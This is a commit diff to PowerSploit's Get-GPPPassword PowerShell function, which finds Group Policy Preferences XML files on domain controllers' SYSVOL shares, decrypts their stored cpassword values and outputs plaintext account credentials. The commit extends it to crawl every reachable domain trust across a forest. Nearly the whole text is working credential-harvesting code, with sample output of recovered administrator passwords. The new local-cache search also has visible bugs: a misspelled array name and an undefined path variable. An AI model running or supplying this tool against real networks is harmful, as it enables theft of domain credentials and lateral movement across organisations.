Fix for issue #170
Added -SearchForest to search all reachable domain trust \SYSVOL\'s Each password is now output as a separate object.
This commit is contained in:
parent
94438eda67
commit
5500a7e131
|
|
@ -2,97 +2,105 @@ function Get-GPPPassword {
|
||||||
<#
|
<#
|
||||||
.SYNOPSIS
|
.SYNOPSIS
|
||||||
|
|
||||||
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
|
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
|
||||||
|
|
||||||
PowerSploit Function: Get-GPPPassword
|
PowerSploit Function: Get-GPPPassword
|
||||||
Author: Chris Campbell (@obscuresec)
|
Author: Chris Campbell (@obscuresec)
|
||||||
License: BSD 3-Clause
|
License: BSD 3-Clause
|
||||||
Required Dependencies: None
|
Required Dependencies: None
|
||||||
Optional Dependencies: None
|
Optional Dependencies: None
|
||||||
|
|
||||||
.DESCRIPTION
|
.DESCRIPTION
|
||||||
|
|
||||||
Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
|
Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
|
||||||
|
|
||||||
.PARAMETER Server
|
.PARAMETER Server
|
||||||
|
|
||||||
Specify the domain controller to search for.
|
Specify the domain controller to search for.
|
||||||
Default's to the users current domain
|
Default's to the users current domain
|
||||||
|
|
||||||
|
.PARAMETER SearchForest
|
||||||
|
|
||||||
|
Map all reaschable trusts and search all reachable SYSVOLs.
|
||||||
|
|
||||||
.EXAMPLE
|
.EXAMPLE
|
||||||
|
|
||||||
PS C:\> Get-GPPPassword
|
Get-GPPPassword
|
||||||
|
|
||||||
NewName : [BLANK]
|
NewName : [BLANK]
|
||||||
Changed : {2014-02-21 05:28:53}
|
Changed : {2014-02-21 05:28:53}
|
||||||
Passwords : {password12}
|
Passwords : {password12}
|
||||||
UserNames : {test1}
|
UserNames : {test1}
|
||||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
|
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
|
||||||
|
|
||||||
NewName : {mspresenters}
|
NewName : {mspresenters}
|
||||||
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
|
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
|
||||||
Passwords : {Recycling*3ftw!, password123, password1234}
|
Passwords : {Recycling*3ftw!, password123, password1234}
|
||||||
UserNames : {Administrator (built-in), DummyAccount, dummy2}
|
UserNames : {Administrator (built-in), DummyAccount, dummy2}
|
||||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
|
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
|
||||||
|
|
||||||
NewName : [BLANK]
|
NewName : [BLANK]
|
||||||
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
|
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
|
||||||
Passwords : {password, password1234$}
|
Passwords : {password, password1234$}
|
||||||
UserNames : {administrator, admin}
|
UserNames : {administrator, admin}
|
||||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
|
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
|
||||||
|
|
||||||
NewName : [BLANK]
|
NewName : [BLANK]
|
||||||
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
|
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
|
||||||
Passwords : {password, read123}
|
Passwords : {password, read123}
|
||||||
UserNames : {DEMO\Administrator, admin}
|
UserNames : {DEMO\Administrator, admin}
|
||||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
|
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
|
||||||
|
|
||||||
.EXAMPLE
|
|
||||||
PS C:\> Get-GPPPassword -Server EXAMPLE.COM
|
|
||||||
|
|
||||||
NewName : [BLANK]
|
|
||||||
Changed : {2014-02-21 05:28:53}
|
|
||||||
Passwords : {password12}
|
|
||||||
UserNames : {test1}
|
|
||||||
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
|
|
||||||
|
|
||||||
NewName : {mspresenters}
|
|
||||||
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
|
|
||||||
Passwords : {Recycling*3ftw!, password123, password1234}
|
|
||||||
UserNames : {Administrator (built-in), DummyAccount, dummy2}
|
|
||||||
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
|
|
||||||
|
|
||||||
.EXAMPLE
|
.EXAMPLE
|
||||||
|
|
||||||
PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
|
Get-GPPPassword -Server EXAMPLE.COM
|
||||||
|
|
||||||
password
|
NewName : [BLANK]
|
||||||
password12
|
Changed : {2014-02-21 05:28:53}
|
||||||
password123
|
Passwords : {password12}
|
||||||
password1234
|
UserNames : {test1}
|
||||||
password1234$
|
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
|
||||||
read123
|
|
||||||
Recycling*3ftw!
|
NewName : {mspresenters}
|
||||||
|
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
|
||||||
|
Passwords : {Recycling*3ftw!, password123, password1234}
|
||||||
|
UserNames : {Administrator (built-in), DummyAccount, dummy2}
|
||||||
|
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
|
||||||
|
|
||||||
|
password
|
||||||
|
password12
|
||||||
|
password123
|
||||||
|
password1234
|
||||||
|
password1234$
|
||||||
|
read123
|
||||||
|
Recycling*3ftw!
|
||||||
|
|
||||||
.LINK
|
.LINK
|
||||||
|
|
||||||
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
|
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
|
||||||
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
|
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
|
||||||
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
|
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
|
||||||
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
|
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
|
||||||
#>
|
#>
|
||||||
|
|
||||||
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
|
||||||
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
||||||
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
|
||||||
[CmdletBinding()]
|
[CmdletBinding()]
|
||||||
Param (
|
Param (
|
||||||
[ValidateNotNullOrEmpty()]
|
[ValidateNotNullOrEmpty()]
|
||||||
[String]
|
[String]
|
||||||
$Server = $Env:USERDNSDOMAIN
|
$Server = $Env:USERDNSDOMAIN,
|
||||||
|
|
||||||
|
[Switch]
|
||||||
|
$SearchForest
|
||||||
)
|
)
|
||||||
|
|
||||||
#Some XML issues between versions
|
# define helper function that decodes and decrypts password
|
||||||
Set-StrictMode -Version 2
|
|
||||||
|
|
||||||
#define helper function that decodes and decrypts password
|
|
||||||
function Get-DecryptedCpassword {
|
function Get-DecryptedCpassword {
|
||||||
[CmdletBinding()]
|
[CmdletBinding()]
|
||||||
Param (
|
Param (
|
||||||
|
|
@ -126,122 +134,210 @@ function Get-GPPPassword {
|
||||||
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
|
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
|
||||||
}
|
}
|
||||||
|
|
||||||
catch {Write-Error $Error[0]}
|
catch { Write-Error $Error[0] }
|
||||||
}
|
}
|
||||||
|
|
||||||
#define helper function to parse fields from xml files
|
# helper function to parse fields from xml files
|
||||||
function Get-GPPInnerFields {
|
function Get-GPPInnerField {
|
||||||
[CmdletBinding()]
|
[CmdletBinding()]
|
||||||
Param (
|
Param (
|
||||||
$File
|
$File
|
||||||
)
|
)
|
||||||
|
|
||||||
try {
|
try {
|
||||||
|
|
||||||
$Filename = Split-Path $File -Leaf
|
$Filename = Split-Path $File -Leaf
|
||||||
[xml] $Xml = Get-Content ($File)
|
[xml] $Xml = Get-Content ($File)
|
||||||
|
|
||||||
#declare empty arrays
|
# check for the cpassword field
|
||||||
$Cpassword = @()
|
if ($Xml.innerxml -match 'cpassword') {
|
||||||
$UserName = @()
|
|
||||||
$NewName = @()
|
|
||||||
$Changed = @()
|
|
||||||
$Password = @()
|
|
||||||
|
|
||||||
#check for password field
|
$Xml.GetElementsByTagName('Properties') | ForEach-Object {
|
||||||
if ($Xml.innerxml -like "*cpassword*"){
|
if ($_.cpassword) {
|
||||||
|
$Cpassword = $_.cpassword
|
||||||
Write-Verbose "Potential password in $File"
|
if ($Cpassword -and ($Cpassword -ne '')) {
|
||||||
|
$DecryptedPassword = Get-DecryptedCpassword $Cpassword
|
||||||
switch ($Filename) {
|
$Password = $DecryptedPassword
|
||||||
|
Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'"
|
||||||
'Groups.xml' {
|
|
||||||
$Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
|
||||||
$UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
|
||||||
$NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
|
||||||
$Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
'Services.xml' {
|
if ($_.newName) {
|
||||||
$Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
$NewName = $_.newName
|
||||||
$UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
|
||||||
$Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
'Scheduledtasks.xml' {
|
if ($_.userName) {
|
||||||
$Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
$UserName = $_.userName
|
||||||
$UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
}
|
||||||
$Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
elseif ($_.accountName) {
|
||||||
|
$UserName = $_.accountName
|
||||||
|
}
|
||||||
|
elseif ($_.runAs) {
|
||||||
|
$UserName = $_.runAs
|
||||||
}
|
}
|
||||||
|
|
||||||
'DataSources.xml' {
|
try {
|
||||||
$Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
$Changed = $_.ParentNode.changed
|
||||||
$UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
}
|
||||||
$Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
catch {
|
||||||
|
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'"
|
||||||
}
|
}
|
||||||
|
|
||||||
'Printers.xml' {
|
try {
|
||||||
$Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
$NodeName = $_.ParentNode.ParentNode.LocalName
|
||||||
$UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
}
|
||||||
$Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
catch {
|
||||||
|
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'"
|
||||||
}
|
}
|
||||||
|
|
||||||
'Drives.xml' {
|
|
||||||
$Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
|
||||||
$UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
|
||||||
$Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
foreach ($Pass in $Cpassword) {
|
|
||||||
Write-Verbose "Decrypting $Pass"
|
|
||||||
$DecryptedPassword = Get-DecryptedCpassword $Pass
|
|
||||||
Write-Verbose "Decrypted a password of $DecryptedPassword"
|
|
||||||
#append any new passwords to array
|
|
||||||
$Password += , $DecryptedPassword
|
|
||||||
}
|
|
||||||
|
|
||||||
#put [BLANK] in variables
|
|
||||||
if (!($Password)) {$Password = '[BLANK]'}
|
if (!($Password)) {$Password = '[BLANK]'}
|
||||||
if (!($UserName)) {$UserName = '[BLANK]'}
|
if (!($UserName)) {$UserName = '[BLANK]'}
|
||||||
if (!($Changed)) {$Changed = '[BLANK]'}
|
if (!($Changed)) {$Changed = '[BLANK]'}
|
||||||
if (!($NewName)) {$NewName = '[BLANK]'}
|
if (!($NewName)) {$NewName = '[BLANK]'}
|
||||||
|
|
||||||
#Create custom object to output results
|
$GPPPassword = New-Object PSObject
|
||||||
$ObjectProperties = @{'Passwords' = $Password;
|
$GPPPassword | Add-Member Noteproperty 'UserName' $UserName
|
||||||
'UserNames' = $UserName;
|
$GPPPassword | Add-Member Noteproperty 'NewName' $NewName
|
||||||
'Changed' = $Changed;
|
$GPPPassword | Add-Member Noteproperty 'Password' $Password
|
||||||
'NewName' = $NewName;
|
$GPPPassword | Add-Member Noteproperty 'Changed' $Changed
|
||||||
'File' = $File}
|
$GPPPassword | Add-Member Noteproperty 'File' $File
|
||||||
|
$GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName
|
||||||
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
|
$GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword
|
||||||
Write-Verbose "The password is between {} and may be more than one value."
|
$GPPPassword
|
||||||
if ($ResultsObject) {Return $ResultsObject}
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch {
|
||||||
|
Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_"
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
catch {Write-Error $Error[0]}
|
# helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain
|
||||||
|
function Get-DomainTrust {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param (
|
||||||
|
$Domain
|
||||||
|
)
|
||||||
|
|
||||||
|
if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) {
|
||||||
|
try {
|
||||||
|
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
|
||||||
|
$DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
||||||
|
if ($DomainObject) {
|
||||||
|
$DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch {
|
||||||
|
Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_"
|
||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
#ensure that machine is domain joined and script is running as a domain account
|
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain)
|
||||||
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
|
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
|
||||||
throw 'Machine is not a domain member or User is not a member of the domain.'
|
if ($ForestObject) {
|
||||||
|
$ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch {
|
||||||
|
Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_"
|
||||||
}
|
}
|
||||||
|
|
||||||
#discover potential files containing passwords ; not complaining in case of denied access to a directory
|
|
||||||
Write-Verbose "Searching \\$Server\SYSVOL. This could take a while."
|
|
||||||
$XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
|
|
||||||
|
|
||||||
if ( -not $XMlFiles ) {throw 'No preference files found.'}
|
|
||||||
|
|
||||||
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
|
|
||||||
|
|
||||||
foreach ($File in $XMLFiles) {
|
|
||||||
$Result = (Get-GppInnerFields $File.Fullname)
|
|
||||||
Write-Output $Result
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
catch {Write-Error $Error[0]}
|
# helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain
|
||||||
|
function Get-DomainTrustMapping {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param ()
|
||||||
|
|
||||||
|
# keep track of domains seen so we don't hit infinite recursion
|
||||||
|
$SeenDomains = @{}
|
||||||
|
|
||||||
|
# our domain stack tracker
|
||||||
|
$Domains = New-Object System.Collections.Stack
|
||||||
|
|
||||||
|
try {
|
||||||
|
$CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
|
||||||
|
$CurrentDomain
|
||||||
|
}
|
||||||
|
catch {
|
||||||
|
Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_"
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($CurrentDomain -and $CurrentDomain -ne '') {
|
||||||
|
$Domains.Push($CurrentDomain)
|
||||||
|
|
||||||
|
while($Domains.Count -ne 0) {
|
||||||
|
|
||||||
|
$Domain = $Domains.Pop()
|
||||||
|
|
||||||
|
# if we haven't seen this domain before
|
||||||
|
if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
|
||||||
|
|
||||||
|
Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
|
||||||
|
|
||||||
|
# mark it as seen in our list
|
||||||
|
$Null = $SeenDomains.Add($Domain, '')
|
||||||
|
|
||||||
|
try {
|
||||||
|
# get all the domain/forest trusts for this domain
|
||||||
|
Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object {
|
||||||
|
# only output if we haven't already seen this domain and if it's pingable
|
||||||
|
if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) {
|
||||||
|
$Null = $Domains.Push($_)
|
||||||
|
$_
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch {
|
||||||
|
Write-Verbose "[Get-DomainTrustMapping] Error: $_"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$XMlFiles = @()
|
||||||
|
$Domains = @()
|
||||||
|
|
||||||
|
# discover any locally cached GPP .xml files
|
||||||
|
Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
|
||||||
|
$MlFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
if ($SearchForest) {
|
||||||
|
Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
|
||||||
|
$Domains += Get-DomainTrustMapping
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if ($Server) {
|
||||||
|
$Domains += , $Server
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
# in case we're in a SYSTEM context
|
||||||
|
$Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$Domains = $Domains | Where-Object {$_} | Sort-Object -Unique
|
||||||
|
|
||||||
|
ForEach ($Domain in $Domains) {
|
||||||
|
# discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory
|
||||||
|
Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while."
|
||||||
|
$DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')
|
||||||
|
|
||||||
|
if($DomainXMLFiles) {
|
||||||
|
$XMlFiles += $DomainXMLFiles
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ( -not $XMlFiles ) { throw '[Get-GPPPassword] No preference files found.' }
|
||||||
|
|
||||||
|
Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
|
||||||
|
|
||||||
|
ForEach ($File in $XMLFiles) {
|
||||||
|
$Result = (Get-GppInnerField $File.Fullname)
|
||||||
|
$Result
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
catch { Write-Error $Error[0] }
|
||||||
}
|
}
|
||||||
Loading…
Reference in New Issue